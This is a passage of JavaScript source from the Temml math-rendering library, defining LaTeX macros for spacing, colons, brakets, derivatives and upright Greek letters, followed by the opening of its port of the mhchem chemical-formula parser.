4910 // (in text mode), and it's unlikely we'd see any of the math commands
4911 // that affect the behavior of \dots when in text mode. So fine for now
4912 // (until we support \ifmmode ... \else ... \fi).
4913 let thedots = "\\dotso";
4914 const next = context.expandAfterFuture().text;
4915 if (next in dotsByToken) {
4916 thedots = dotsByToken[next];
4917 } else if (next.slice(0, 4) === "\\not") {
4918 thedots = "\\dotsb";
4919 } else if (next in symbols.math) {
4920 if (["bin", "rel"].includes(symbols.math[next].group)) {
4921 thedots = "\\dotsb";
4922 }
4923 }
4924 return thedots;
4925});
4926
4927const spaceAfterDots = {
4928 // \rightdelim@ checks for the following:
4929 ")": true,
4930 "]": true,
4931 "\\rbrack": true,
4932 "\\}": true,
4933 "\\rbrace": true,
4934 "\\rangle": true,
4935 "\\rceil": true,
4936 "\\rfloor": true,
4937 "\\rgroup": true,
4938 "\\rmoustache": true,
4939 "\\right": true,
4940 "\\bigr": true,
4941 "\\biggr": true,
4942 "\\Bigr": true,
4943 "\\Biggr": true,
4944 // \extra@ also tests for the following:
4945 $: true,
4946 // \extrap@ checks for the following:
4947 ";": true,
4948 ".": true,
4949 ",": true
4950};
4951
4952defineMacro("\\dotso", function(context) {
4953 const next = context.future().text;
4954 if (next in spaceAfterDots) {
4955 return "\\ldots\\,";
4956 } else {
4957 return "\\ldots";
4958 }
4959});
4960
4961defineMacro("\\dotsc", function(context) {
4962 const next = context.future().text;
4963 // \dotsc uses \extra@ but not \extrap@, instead specially checking for
4964 // ';' and '.', but doesn't check for ','.
4965 if (next in spaceAfterDots && next !== ",") {
4966 return "\\ldots\\,";
4967 } else {
4968 return "\\ldots";
4969 }
4970});
4971
4972defineMacro("\\cdots", function(context) {
4973 const next = context.future().text;
4974 if (next in spaceAfterDots) {
4975 return "\\@cdots\\,";
4976 } else {
4977 return "\\@cdots";
4978 }
4979});
4980
4981defineMacro("\\dotsb", "\\cdots");
4982defineMacro("\\dotsm", "\\cdots");
4983defineMacro("\\dotsi", "\\!\\cdots");
4984defineMacro("\\idotsint", "\\dotsi");
4985// amsmath doesn't actually define \dotsx, but \dots followed by a macro
4986// starting with \DOTSX implies \dotso, and then \extra@ detects this case
4987// and forces the added `\,`.
4988defineMacro("\\dotsx", "\\ldots\\,");
4989
4990// \let\DOTSI\relax
4991// \let\DOTSB\relax
4992// \let\DOTSX\relax
4993defineMacro("\\DOTSI", "\\relax");
4994defineMacro("\\DOTSB", "\\relax");
4995defineMacro("\\DOTSX", "\\relax");
4996
4997// Spacing, based on amsmath.sty's override of LaTeX defaults
4998// \DeclareRobustCommand{\tmspace}[3]{%
4999// \ifmmode\mskip#1#2\else\kern#1#3\fi\relax}
5000defineMacro("\\tmspace", "\\TextOrMath{\\kern#1#3}{\\mskip#1#2}\\relax");
5001// \renewcommand{\,}{\tmspace+\thinmuskip{.1667em}}
5002// TODO: math mode should use \thinmuskip
5003defineMacro("\\,", "{\\tmspace+{3mu}{.1667em}}");
5004// \let\thinspace\,
5005defineMacro("\\thinspace", "\\,");
5006// \def\>{\mskip\medmuskip}
5007// \renewcommand{\:}{\tmspace+\medmuskip{.2222em}}
5008// TODO: \> and math mode of \: should use \medmuskip = 4mu plus 2mu minus 4mu
5009defineMacro("\\>", "\\mskip{4mu}");
5010defineMacro("\\:", "{\\tmspace+{4mu}{.2222em}}");
5011// \let\medspace\:
5012defineMacro("\\medspace", "\\:");
5013// \renewcommand{\;}{\tmspace+\thickmuskip{.2777em}}
5014// TODO: math mode should use \thickmuskip = 5mu plus 5mu
5015defineMacro("\\;", "{\\tmspace+{5mu}{.2777em}}");
5016// \let\thickspace\;
5017defineMacro("\\thickspace", "\\;");
5018// \renewcommand{\!}{\tmspace-\thinmuskip{.1667em}}
5019// TODO: math mode should use \thinmuskip
5020defineMacro("\\!", "{\\tmspace-{3mu}{.1667em}}");
5021// \let\negthinspace\!
5022defineMacro("\\negthinspace", "\\!");
5023// \newcommand{\negmedspace}{\tmspace-\medmuskip{.2222em}}
5024// TODO: math mode should use \medmuskip
5025defineMacro("\\negmedspace", "{\\tmspace-{4mu}{.2222em}}");
5026// \newcommand{\negthickspace}{\tmspace-\thickmuskip{.2777em}}
5027// TODO: math mode should use \thickmuskip
5028defineMacro("\\negthickspace", "{\\tmspace-{5mu}{.277em}}");
5029// \def\enspace{\kern.5em }
5030defineMacro("\\enspace", "\\kern.5em ");
5031// \def\enskip{\hskip.5em\relax}
5032defineMacro("\\enskip", "\\hskip.5em\\relax");
5033// \def\quad{\hskip1em\relax}
5034defineMacro("\\quad", "\\hskip1em\\relax");
5035// \def\qquad{\hskip2em\relax}
5036defineMacro("\\qquad", "\\hskip2em\\relax");
5037
5038defineMacro("\\AA", "\\TextOrMath{\\Angstrom}{\\mathring{A}}\\relax");
5039
5040// \tag@in@display form of \tag
5041defineMacro("\\tag", "\\@ifstar\\tag@literal\\tag@paren");
5042defineMacro("\\tag@paren", "\\tag@literal{({#1})}");
5043defineMacro("\\tag@literal", (context) => {
5044 if (context.macros.get("\\df@tag")) {
5045 throw new ParseError("Multiple \\tag");
5046 }
5047 return "\\gdef\\df@tag{\\text{#1}}";
5048});
5049defineMacro("\\notag", "\\nonumber");
5050defineMacro("\\nonumber", "\\gdef\\@eqnsw{0}");
5051
5052// \renewcommand{\bmod}{\nonscript\mskip-\medmuskip\mkern5mu\mathbin
5053// {\operator@font mod}\penalty900
5054// \mkern5mu\nonscript\mskip-\medmuskip}
5055// \newcommand{\pod}[1]{\allowbreak
5056// \if@display\mkern18mu\else\mkern8mu\fi(#1)}
5057// \renewcommand{\pmod}[1]{\pod{{\operator@font mod}\mkern6mu#1}}
5058// \newcommand{\mod}[1]{\allowbreak\if@display\mkern18mu
5059// \else\mkern12mu\fi{\operator@font mod}\,\,#1}
5060// TODO: math mode should use \medmuskip = 4mu plus 2mu minus 4mu
5061defineMacro("\\bmod", "\\mathbin{\\text{mod}}");
5062defineMacro(
5063 "\\pod",
5064 "\\allowbreak" + "\\mathchoice{\\mkern18mu}{\\mkern8mu}{\\mkern8mu}{\\mkern8mu}(#1)"
5065);
5066defineMacro("\\pmod", "\\pod{{\\rm mod}\\mkern6mu#1}");
5067defineMacro(
5068 "\\mod",
5069 "\\allowbreak" +
5070 "\\mathchoice{\\mkern18mu}{\\mkern12mu}{\\mkern12mu}{\\mkern12mu}" +
5071 "{\\rm mod}\\,\\,#1"
5072);
5073
5074//////////////////////////////////////////////////////////////////////
5075// LaTeX source2e
5076
5077// \expandafter\let\expandafter\@normalcr
5078// \csname\expandafter\@gobble\string\\ \endcsname
5079// \DeclareRobustCommand\newline{\@normalcr\relax}
5080defineMacro("\\newline", "\\\\\\relax");
5081
5082// \def\TeX{T\kern-.1667em\lower.5ex\hbox{E}\kern-.125emX\@}
5083// TODO: Doesn't normally work in math mode because \@ fails.
5084defineMacro("\\TeX", "\\textrm{T}\\kern-.1667em\\raisebox{-.5ex}{E}\\kern-.125em\\textrm{X}");
5085
5086defineMacro(
5087 "\\LaTeX",
5088 "\\textrm{L}\\kern-.35em\\raisebox{0.2em}{\\scriptstyle A}\\kern-.15em\\TeX"
5089);
5090
5091defineMacro(
5092 "\\Temml",
5093 // eslint-disable-next-line max-len
5094 "\\textrm{T}\\kern-0.2em\\lower{0.2em}{\\textrm{E}}\\kern-0.08em{\\textrm{M}\\kern-0.08em\\raise{0.2em}\\textrm{M}\\kern-0.08em\\textrm{L}}"
5095);
5096
5097// \DeclareRobustCommand\hspace{\@ifstar\@hspacer\@hspace}
5098// \def\@hspace#1{\hskip #1\relax}
5099// \def\@hspacer#1{\vrule \@width\z@\nobreak
5100// \hskip #1\hskip \z@skip}
5101defineMacro("\\hspace", "\\@ifstar\\@hspacer\\@hspace");
5102defineMacro("\\@hspace", "\\hskip #1\\relax");
5103defineMacro("\\@hspacer", "\\rule{0pt}{0pt}\\hskip #1\\relax");
5104
5105defineMacro("\\colon", `\\mathpunct{\\char"3a}`);
5106
5107//////////////////////////////////////////////////////////////////////
5108// mathtools.sty
5109
5110defineMacro("\\prescript", "\\pres@cript{_{#1}^{#2}}{}{#3}");
5111
5112//\providecommand\ordinarycolon{:}
5113defineMacro("\\ordinarycolon", `\\char"3a`);
5114// Raise to center on the math axis, as closely as possible.
5115defineMacro("\\vcentcolon", "\\mathrel{\\raisebox{0.035em}{\\ordinarycolon}}");
5116// \providecommand*\coloneq{\vcentcolon\mathrel{\mkern-1.2mu}\mathrel{-}}
5117defineMacro("\\coloneq", '\\mathrel{\\raisebox{0.035em}{\\ordinarycolon}\\char"2212}');
5118// \providecommand*\Coloneq{\dblcolon\mathrel{\mkern-1.2mu}\mathrel{-}}
5119defineMacro("\\Coloneq", '\\mathrel{\\char"2237\\char"2212}');
5120// \providecommand*\Eqqcolon{=\mathrel{\mkern-1.2mu}\dblcolon}
5121defineMacro("\\Eqqcolon", '\\mathrel{\\char"3d\\char"2237}');
5122// \providecommand*\Eqcolon{\mathrel{-}\mathrel{\mkern-1.2mu}\dblcolon}
5123defineMacro("\\Eqcolon", '\\mathrel{\\char"2212\\char"2237}');
5124// \providecommand*\colonapprox{\vcentcolon\mathrel{\mkern-1.2mu}\approx}
5125defineMacro("\\colonapprox", '\\mathrel{\\raisebox{0.035em}{\\ordinarycolon}\\char"2248}');
5126// \providecommand*\Colonapprox{\dblcolon\mathrel{\mkern-1.2mu}\approx}
5127defineMacro("\\Colonapprox", '\\mathrel{\\char"2237\\char"2248}');
5128// \providecommand*\colonsim{\vcentcolon\mathrel{\mkern-1.2mu}\sim}
5129defineMacro("\\colonsim", '\\mathrel{\\raisebox{0.035em}{\\ordinarycolon}\\char"223c}');
5130// \providecommand*\Colonsim{\dblcolon\mathrel{\mkern-1.2mu}\sim}
5131defineMacro("\\Colonsim", '\\mathrel{\\raisebox{0.035em}{\\ordinarycolon}\\char"223c}');
5132
5133//////////////////////////////////////////////////////////////////////
5134// colonequals.sty
5135
5136// Alternate names for mathtools's macros:
5137defineMacro("\\ratio", "\\vcentcolon");
5138defineMacro("\\coloncolon", "\\dblcolon");
5139defineMacro("\\colonequals", "\\coloneqq");
5140defineMacro("\\coloncolonequals", "\\Coloneqq");
5141defineMacro("\\equalscolon", "\\eqqcolon");
5142defineMacro("\\equalscoloncolon", "\\Eqqcolon");
5143defineMacro("\\colonminus", "\\coloneq");
5144defineMacro("\\coloncolonminus", "\\Coloneq");
5145defineMacro("\\minuscolon", "\\eqcolon");
5146defineMacro("\\minuscoloncolon", "\\Eqcolon");
5147// \colonapprox name is same in mathtools and colonequals.
5148defineMacro("\\coloncolonapprox", "\\Colonapprox");
5149// \colonsim name is same in mathtools and colonequals.
5150defineMacro("\\coloncolonsim", "\\Colonsim");
5151
5152// Present in newtxmath, pxfonts and txfonts
5153defineMacro("\\notni", "\\mathrel{\\char`\u220C}");
5154defineMacro("\\limsup", "\\DOTSB\\operatorname*{lim\\,sup}");
5155defineMacro("\\liminf", "\\DOTSB\\operatorname*{lim\\,inf}");
5156
5157//////////////////////////////////////////////////////////////////////
5158// From amsopn.sty
5159defineMacro("\\injlim", "\\DOTSB\\operatorname*{inj\\,lim}");
5160defineMacro("\\projlim", "\\DOTSB\\operatorname*{proj\\,lim}");
5161defineMacro("\\varlimsup", "\\DOTSB\\operatorname*{\\overline{\\text{lim}}}");
5162defineMacro("\\varliminf", "\\DOTSB\\operatorname*{\\underline{\\text{lim}}}");
5163defineMacro("\\varinjlim", "\\DOTSB\\operatorname*{\\underrightarrow{\\text{lim}}}");
5164defineMacro("\\varprojlim", "\\DOTSB\\operatorname*{\\underleftarrow{\\text{lim}}}");
5165
5166defineMacro("\\centerdot", "{\\medspace\\rule{0.167em}{0.189em}\\medspace}");
5167
5168//////////////////////////////////////////////////////////////////////
5169// statmath.sty
5170// https://ctan.math.illinois.edu/macros/latex/contrib/statmath/statmath.pdf
5171
5172defineMacro("\\argmin", "\\DOTSB\\operatorname*{arg\\,min}");
5173defineMacro("\\argmax", "\\DOTSB\\operatorname*{arg\\,max}");
5174defineMacro("\\plim", "\\DOTSB\\operatorname*{plim}");
5175
5176//////////////////////////////////////////////////////////////////////
5177// MnSymbol.sty
5178
5179defineMacro("\\leftmodels", "\\mathop{\\reflectbox{$\\models$}}");
5180
5181//////////////////////////////////////////////////////////////////////
5182// braket.sty
5183// http://ctan.math.washington.edu/tex-archive/macros/latex/contrib/braket/braket.pdf
5184
5185defineMacro("\\bra", "\\mathinner{\\langle{#1}|}");
5186defineMacro("\\ket", "\\mathinner{|{#1}\\rangle}");
5187defineMacro("\\braket", "\\mathinner{\\langle{#1}\\rangle}");
5188defineMacro("\\Bra", "\\left\\langle#1\\right|");
5189defineMacro("\\Ket", "\\left|#1\\right\\rangle");
5190// A helper for \Braket and \Set
5191const replaceVert = (argStr, match) => {
5192 const ch = match[0] === "|" ? "\\vert" : "\\Vert";
5193 const replaceStr = `}\\,\\middle${ch}\\,{`;
5194 return argStr.slice(0, match.index) + replaceStr + argStr.slice(match.index + match[0].length)
5195};
5196defineMacro("\\Braket", function(context) {
5197 let argStr = recreateArgStr(context);
5198 const regEx = /\|\||\||\\\|/g;
5199 let match;
5200 while ((match = regEx.exec(argStr)) !== null) {
5201 argStr = replaceVert(argStr, match);
5202 }
5203 return "\\left\\langle{" + argStr + "}\\right\\rangle"
5204});
5205defineMacro("\\Set", function(context) {
5206 let argStr = recreateArgStr(context);
5207 const match = /\|\||\||\\\|/.exec(argStr);
5208 if (match) {
5209 argStr = replaceVert(argStr, match);
5210 }
5211 return "\\left\\{\\:{" + argStr + "}\\:\\right\\}"
5212});
5213defineMacro("\\set", function(context) {
5214 const argStr = recreateArgStr(context);
5215 return "\\{{" + argStr.replace(/\|/, "}\\mid{") + "}\\}"
5216});
5217
5218//////////////////////////////////////////////////////////////////////
5219// actuarialangle.dtx
5220defineMacro("\\angln", "{\\angl n}");
5221
5222//////////////////////////////////////////////////////////////////////
5223// derivative.sty
5224defineMacro("\\odv", "\\@ifstar\\odv@next\\odv@numerator");
5225defineMacro("\\odv@numerator", "\\frac{\\mathrm{d}#1}{\\mathrm{d}#2}");
5226defineMacro("\\odv@next", "\\frac{\\mathrm{d}}{\\mathrm{d}#2}#1");
5227defineMacro("\\pdv", "\\@ifstar\\pdv@next\\pdv@numerator");
5228
5229const pdvHelper = args => {
5230 const numerator = args[0][0].text;
5231 const denoms = stringFromArg(args[1]).split(",");
5232 const power = String(denoms.length);
5233 const numOp = power === "1" ? "\\partial" : `\\partial^${power}`;
5234 let denominator = "";
5235 denoms.map(e => { denominator += "\\partial " + e.trim() + "\\,";});
5236 return [numerator, numOp, denominator.replace(/\\,$/, "")]
5237};
5238defineMacro("\\pdv@numerator", function(context) {
5239 const [numerator, numOp, denominator] = pdvHelper(context.consumeArgs(2));
5240 return `\\frac{${numOp} ${numerator}}{${denominator}}`
5241});
5242defineMacro("\\pdv@next", function(context) {
5243 const [numerator, numOp, denominator] = pdvHelper(context.consumeArgs(2));
5244 return `\\frac{${numOp}}{${denominator}} ${numerator}`
5245});
5246
5247//////////////////////////////////////////////////////////////////////
5248// upgreek.dtx
5249defineMacro("\\upalpha", "\\up@greek{\\alpha}");
5250defineMacro("\\upbeta", "\\up@greek{\\beta}");
5251defineMacro("\\upgamma", "\\up@greek{\\gamma}");
5252defineMacro("\\updelta", "\\up@greek{\\delta}");
5253defineMacro("\\upepsilon", "\\up@greek{\\epsilon}");
5254defineMacro("\\upzeta", "\\up@greek{\\zeta}");
5255defineMacro("\\upeta", "\\up@greek{\\eta}");
5256defineMacro("\\uptheta", "\\up@greek{\\theta}");
5257defineMacro("\\upiota", "\\up@greek{\\iota}");
5258defineMacro("\\upkappa", "\\up@greek{\\kappa}");
5259defineMacro("\\uplambda", "\\up@greek{\\lambda}");
5260defineMacro("\\upmu", "\\up@greek{\\mu}");
5261defineMacro("\\upnu", "\\up@greek{\\nu}");
5262defineMacro("\\upxi", "\\up@greek{\\xi}");
5263defineMacro("\\upomicron", "\\up@greek{\\omicron}");
5264defineMacro("\\uppi", "\\up@greek{\\pi}");
5265defineMacro("\\upalpha", "\\up@greek{\\alpha}");
5266defineMacro("\\uprho", "\\up@greek{\\rho}");
5267defineMacro("\\upsigma", "\\up@greek{\\sigma}");
5268defineMacro("\\uptau", "\\up@greek{\\tau}");
5269defineMacro("\\upupsilon", "\\up@greek{\\upsilon}");
5270defineMacro("\\upphi", "\\up@greek{\\phi}");
5271defineMacro("\\upchi", "\\up@greek{\\chi}");
5272defineMacro("\\uppsi", "\\up@greek{\\psi}");
5273defineMacro("\\upomega", "\\up@greek{\\omega}");
5274
5275//////////////////////////////////////////////////////////////////////
5276// cmll package
5277defineMacro("\\invamp", '\\mathbin{\\char"214b}');
5278defineMacro("\\parr", '\\mathbin{\\char"214b}');
5279defineMacro("\\with", '\\mathbin{\\char"26}');
5280defineMacro("\\multimapinv", '\\mathrel{\\char"27dc}');
5281defineMacro("\\multimapboth", '\\mathrel{\\char"29df}');
5282defineMacro("\\scoh", '{\\mkern5mu\\char"2322\\mkern5mu}');
5283defineMacro("\\sincoh", '{\\mkern5mu\\char"2323\\mkern5mu}');
5284defineMacro("\\coh", `{\\mkern5mu\\rule{}{0.7em}\\mathrlap{\\smash{\\raise2mu{\\char"2322}}}
5285{\\smash{\\lower4mu{\\char"2323}}}\\mkern5mu}`);
5286defineMacro("\\incoh", `{\\mkern5mu\\rule{}{0.7em}\\mathrlap{\\smash{\\raise2mu{\\char"2323}}}
5287{\\smash{\\lower4mu{\\char"2322}}}\\mkern5mu}`);
5288
5289
5290//////////////////////////////////////////////////////////////////////
5291// chemstyle package
5292defineMacro("\\standardstate", "\\text{\\tiny\\char`⦵}");
5293
5294/* eslint-disable */
5295/* -*- Mode: JavaScript; indent-tabs-mode:nil; js-indent-level: 2 -*- */
5296/* vim: set ts=2 et sw=2 tw=80: */
5297
5298/*************************************************************
5299 *
5300 * Temml mhchem.js
5301 *
5302 * This file implements a Temml version of mhchem version 3.3.0.
5303 * It is adapted from MathJax/extensions/TeX/mhchem.js
5304 * It differs from the MathJax version as follows:
5305 * 1. The interface is changed so that it can be called from Temml, not MathJax.
5306 * 2. \rlap and \llap are replaced with \mathrlap and \mathllap.
5307 * 3. The reaction arrow code is simplified. All reaction arrows are rendered
5308 * using Temml extensible arrows instead of building non-extensible arrows.
5309 * 4. The ~bond forms are composed entirely of \rule elements.
5310 * 5. Two dashes in _getBond are wrapped in braces to suppress spacing. i.e., {-}
5311 * 6. The electron dot uses \textbullet instead of \bullet.
5312 * 7. \smash[T] has been removed. (WebKit hides anything inside \smash{…})
5313 *
5314 * This code, as other Temml code, is released under the MIT license.
5315 *
5316 * /*************************************************************
5317 *
5318 * MathJax/extensions/TeX/mhchem.js
5319 *
5320 * Implements the \ce command for handling chemical formulas
5321 * from the mhchem LaTeX package.
5322 *
5323 * ---------------------------------------------------------------------
5324 *
5325 * Copyright (c) 2011-2015 The MathJax Consortium
5326 * Copyright (c) 2015-2018 Martin Hensel
5327 *
5328 * Licensed under the Apache License, Version 2.0 (the "License");
5329 * you may not use this file except in compliance with the License.
5330 * You may obtain a copy of the License at
5331 *
5332 * http://www.apache.org/licenses/LICENSE-2.0
5333 *
5334 * Unless required by applicable law or agreed to in writing, software
5335 * distributed under the License is distributed on an "AS IS" BASIS,
5336 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
5337 * See the License for the specific language governing permissions and
5338 * limitations under the License.
5339 */
5340
5341//
5342// Coding Style
5343// - use '' for identifiers that can by minified/uglified
5344// - use "" for strings that need to stay untouched
5345
5346// version: "3.3.0" for MathJax and Temml
5347
5348
5349// Add \ce, \pu, and \tripleDash to the Temml macros.
5350
5351defineMacro("\\ce", function(context) {
5352 return chemParse(context.consumeArgs(1)[0], "ce")
5353});
5354
5355defineMacro("\\pu", function(context) {
5356 return chemParse(context.consumeArgs(1)[0], "pu");
5357});
5358
5359// Math fonts do not include glyphs for the ~ form of bonds. So we'll send path geometry
5360// So we'll compose characters built from \rule elements.
5361defineMacro("\\uniDash", `{\\rule{0.672em}{0.06em}}`)
5362defineMacro("\\triDash", `{\\rule{0.15em}{0.06em}\\kern2mu\\rule{0.15em}{0.06em}\\kern2mu\\rule{0.15em}{0.06em}}`)
5363defineMacro("\\tripleDash", `\\kern0.075em\\raise0.25em{\\triDash}\\kern0.075em`)
5364defineMacro("\\tripleDashOverLine", `\\kern0.075em\\mathrlap{\\raise0.125em{\\uniDash}}\\raise0.34em{\\triDash}\\kern0.075em`)
5365defineMacro("\\tripleDashOverDoubleLine", `\\kern0.075em\\mathrlap{\\mathrlap{\\raise0.48em{\\triDash}}\\raise0.27em{\\uniDash}}{\\raise0.05em{\\uniDash}}\\kern0.075em`)
5366defineMacro("\\tripleDashBetweenDoubleLine", `\\kern0.075em\\mathrlap{\\mathrlap{\\raise0.48em{\\uniDash}}\\raise0.27em{\\triDash}}{\\raise0.05em{\\uniDash}}\\kern0.075em`)
5367
5368 //
5369 // This is the main function for handing the \ce and \pu commands.
5370 // It takes the argument to \ce or \pu and returns the corresponding TeX string.
5371 //
5372
5373 var chemParse = function (tokens, stateMachine) {
5374 // Recreate the argument string from Temml's array of tokens.
5375 var str = "";
5376 var expectedLoc = tokens.length && tokens[tokens.length - 1].loc.start
5377 for (var i = tokens.length - 1; i >= 0; i--) {
5378 if(tokens[i].loc.start > expectedLoc) {
5379 // context.consumeArgs has eaten a space.
5380 str += " ";
5381 expectedLoc = tokens[i].loc.start;
5382 }
5383 str += tokens[i].text;
5384 expectedLoc += tokens[i].text.length;
5385 }
5386 // Call the mhchem core parser.
5387 var tex = texify.go(mhchemParser.go(str, stateMachine));
5388 return tex;
5389 };
5390
5391 //
5392 // Core parser for mhchem syntax (recursive)
5393 //
5394 /** @type {MhchemParser} */
5395 var mhchemParser = {
5396 //
5397 // Parses mchem \ce syntax
5398 //
5399 // Call like
5400 // go("H2O");
5401 //
5402 go: function (input, stateMachine) {
5403 if (!input) { return []; }
5404 if (stateMachine === undefined) { stateMachine = 'ce'; }
5405 var state = '0';
5406
5407 //
5408 // String buffers for parsing:
5409 //
5410 // buffer.a == amount
5411 // buffer.o == element
5412 // buffer.b == left-side superscript
5413 // buffer.p == left-side subscript
5414 // buffer.q == right-side subscript
5415 // buffer.d == right-side superscript
5416 //
5417 // buffer.r == arrow
5418 // buffer.rdt == arrow, script above, type
5419 // buffer.rd == arrow, script above, content
5420 // buffer.rqt == arrow, script below, type
5421 // buffer.rq == arrow, script below, content
5422 //
5423 // buffer.text_
5424 // buffer.rm
5425 // etc.
5426 //
5427 // buffer.parenthesisLevel == int, starting at 0
5428 // buffer.sb == bool, space before
5429 // buffer.beginsWithBond == bool
5430 //
5431 // These letters are also used as state names.
5432 //
5433 // Other states:
5434 // 0 == begin of main part (arrow/operator unlikely)
5435 // 1 == next entity
5436 // 2 == next entity (arrow/operator unlikely)
5437 // 3 == next atom
5438 // c == macro
5439 //
5440 /** @type {Buffer} */
5441 var buffer = {};
5442 buffer['parenthesisLevel'] = 0;
5443
5444 input = input.replace(/\n/g, " ");
5445 input = input.replace(/[\u2212\u2013\u2014\u2010]/g, "-");
5446 input = input.replace(/[\u2026]/g, "...");
5447
5448 //
5449 // Looks through mhchemParser.transitions, to execute a matching action
5450 // (recursive)
5451 //
5452 var lastInput;
5453 var watchdog = 10;
5454 /** @type {ParserOutput[]} */
5455 var output = [];
5456 while (true) {
5457 if (lastInput !== input) {
5458 watchdog = 10;
5459 lastInput = input;
5460 } else {
5461 watchdog--;
5462 }
5463 //
5464 // Find actions in transition table
5465 //
5466 var machine = mhchemParser.stateMachines[stateMachine];
5467 var t = machine.transitions[state] || machine.transitions['*'];
5468 iterateTransitions:
5469 for (var i=0; i<t.length; i++) {
5470 var matches = mhchemParser.patterns.match_(t[i].pattern, input);
5471 if (matches) {
5472 //
5473 // Execute actions
5474 //
5475 var task = t[i].task;
5476 for (var iA=0; iA<task.action_.length; iA++) {
5477 var o;
5478 //
5479 // Find and execute action
5480 //
5481 if (machine.actions[task.action_[iA].type_]) {
5482 o = machine.actions[task.action_[iA].type_](buffer, matches.match_, task.action_[iA].option);
5483 } else if (mhchemParser.actions[task.action_[iA].type_]) {
5484 o = mhchemParser.actions[task.action_[iA].type_](buffer, matches.match_, task.action_[iA].option);
5485 } else {
5486 throw ["MhchemBugA", "mhchem bug A. Please report. (" + task.action_[iA].type_ + ")"]; // Trying to use non-existing action
5487 }
5488 //
5489 // Add output
5490 //
5491 mhchemParser.concatArray(output, o);
5492 }
5493 //
5494 // Set next state,
5495 // Shorten input,
5496 // Continue with next character
5497 // (= apply only one transition per position)
5498 //
5499 state = task.nextState || state;
5500 if (input.length > 0) {
5501 if (!task.revisit) {
5502 input = matches.remainder;
5503 }
5504 if (!task.toContinue) {
5505 break iterateTransitions;
5506 }
5507 } else {
5508 return output;
5509 }
5510 }
5511 }
5512 //
5513 // Prevent infinite loop
5514 //
5515 if (watchdog <= 0) {
5516 throw ["MhchemBugU", "mhchem bug U. Please report."]; // Unexpected character
5517 }
5518 }
5519 },
5520 concatArray: function (a, b) {
5521 if (b) {
5522 if (Array.isArray(b)) {
5523 for (var iB=0; iB<b.length; iB++) {
5524 a.push(b[iB]);
5525 }
5526 } else {
5527 a.push(b);
5528 }
5529 }
5530 },
5531
5532 patterns: {
5533 //
5534 // Matching patterns
5535 // either regexps or function that return null or {match_:"a", remainder:"bc"}
5536 //
5537 patterns: {
5538 // property names must not look like integers ("2") for correct property traversal order, later on
5539 'empty': /^$/,
5540 'else': /^./,
5541 'else2': /^./,
5542 'space': /^\s/,
5543 'space A': /^\s(?=[A-Z\\$])/,
5544 'space$': /^\s$/,
5545 'a-z': /^[a-z]/,
5546 'x': /^x/,
5547 'x$': /^x$/,
5548 'i$': /^i$/,
5549 'letters': /^(?:[a-zA-Z\u03B1-\u03C9\u0391-\u03A9?@]|(?:\\(?:alpha|beta|gamma|delta|epsilon|zeta|eta|theta|iota|kappa|lambda|mu|nu|xi|omicron|pi|rho|sigma|tau|upsilon|phi|chi|psi|omega|Gamma|Delta|Theta|Lambda|Xi|Pi|Sigma|Upsilon|Phi|Psi|Omega)(?:\s+|\{\}|(?![a-zA-Z]))))+/,
5550 '\\greek': /^\\(?:alpha|beta|gamma|delta|epsilon|zeta|eta|theta|iota|kappa|lambda|mu|nu|xi|omicron|pi|rho|sigma|tau|upsilon|phi|chi|psi|omega|Gamma|Delta|Theta|Lambda|Xi|Pi|Sigma|Upsilon|Phi|Psi|Omega)(?:\s+|\{\}|(?![a-zA-Z]))/,
5551 'one lowercase latin letter $': /^(?:([a-z])(?:$|[^a-zA-Z]))$/,
5552 '$one lowercase latin letter$ $': /^\$(?:([a-z])(?:$|[^a-zA-Z]))\$$/,
5553 'one lowercase greek letter $': /^(?:\$?[\u03B1-\u03C9]\$?|\$?\\(?:alpha|beta|gamma|delta|epsilon|zeta|eta|theta|iota|kappa|lambda|mu|nu|xi|omicron|pi|rho|sigma|tau|upsilon|phi|chi|psi|omega)\s*\$?)(?:\s+|\{\}|(?![a-zA-Z]))$/,
5554 'digits': /^[0-9]+/,
5555 '-9.,9': /^[+\-]?(?:[0-9]+(?:[,.][0-9]+)?|[0-9]*(?:\.[0-9]+))/,
5556 '-9.,9 no missing 0': /^[+\-]?[0-9]+(?:[.,][0-9]+)?/,
5557 '(-)(9.,9)(e)(99)': function (input) {
5558 var m = input.match(/^(\+\-|\+\/\-|\+|\-|\\pm\s?)?([0-9]+(?:[,.][0-9]+)?|[0-9]*(?:\.[0-9]+))?(\((?:[0-9]+(?:[,.][0-9]+)?|[0-9]*(?:\.[0-9]+))\))?(?:([eE]|\s*(\*|x|\\times|\u00D7)\s*10\^)([+\-]?[0-9]+|\{[+\-]?[0-9]+\}))?/);
5559 if (m && m[0]) {
5560 return { match_: m.splice(1), remainder: input.substr(m[0].length) };
5561 }
5562 return null;
5563 },
5564 '(-)(9)^(-9)': function (input) {
5565 var m = input.match(/^(\+\-|\+\/\-|\+|\-|\\pm\s?)?([0-9]+(?:[,.][0-9]+)?|[0-9]*(?:\.[0-9]+)?)\^([+\-]?[0-9]+|\{[+\-]?[0-9]+\})/);
5566 if (m && m[0]) {
5567 return { match_: m.splice(1), remainder: input.substr(m[0].length) };
5568 }
5569 return null;
5570 },
5571 'state of aggregation $': function (input) { // ... or crystal system
5572 var a = mhchemParser.patterns.findObserveGroups(input, "", /^\([a-z]{1,3}(?=[\),])/, ")", ""); // (aq), (aq,$\infty$), (aq, sat)
5573 if (a && a.remainder.match(/^($|[\s,;\)\]\}])/)) { return a; } // AND end of 'phrase'
5574 var m = input.match(/^(?:\((?:\\ca\s?)?\$[amothc]\$\))/); // OR crystal system ($o$) (\ca$c$)
5575 if (m) {
5576 return { match_: m[0], remainder: input.substr(m[0].length) };
5577 }
5578 return null;
5579 },
5580 '_{(state of aggregation)}$': /^_\{(\([a-z]{1,3}\))\}/,
5581 '{[(': /^(?:\\\{|\[|\()/,
5582 ')]}': /^(?:\)|\]|\\\})/,
5583 ', ': /^[,;]\s*/,
5584 ',': /^[,;]/,
5585 '.': /^[.]/,
5586 '. ': /^([.\u22C5\u00B7\u2022])\s*/,
5587 '...': /^\.\.\.(?=$|[^.])/,
5588 '* ': /^([*])\s*/,
5589 '^{(...)}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "^{", "", "", "}"); },
5590 '^($...$)': function (input) { return mhchemParser.patterns.findObserveGroups(input, "^", "$", "$", ""); },
5591 '^a': /^\^([0-9]+|[^\\_])/,
5592 '^\\x{}{}': function (input) { return mhchemParser.patterns.findObserveGroups(input, "^", /^\\[a-zA-Z]+\{/, "}", "", "", "{", "}", "", true); },
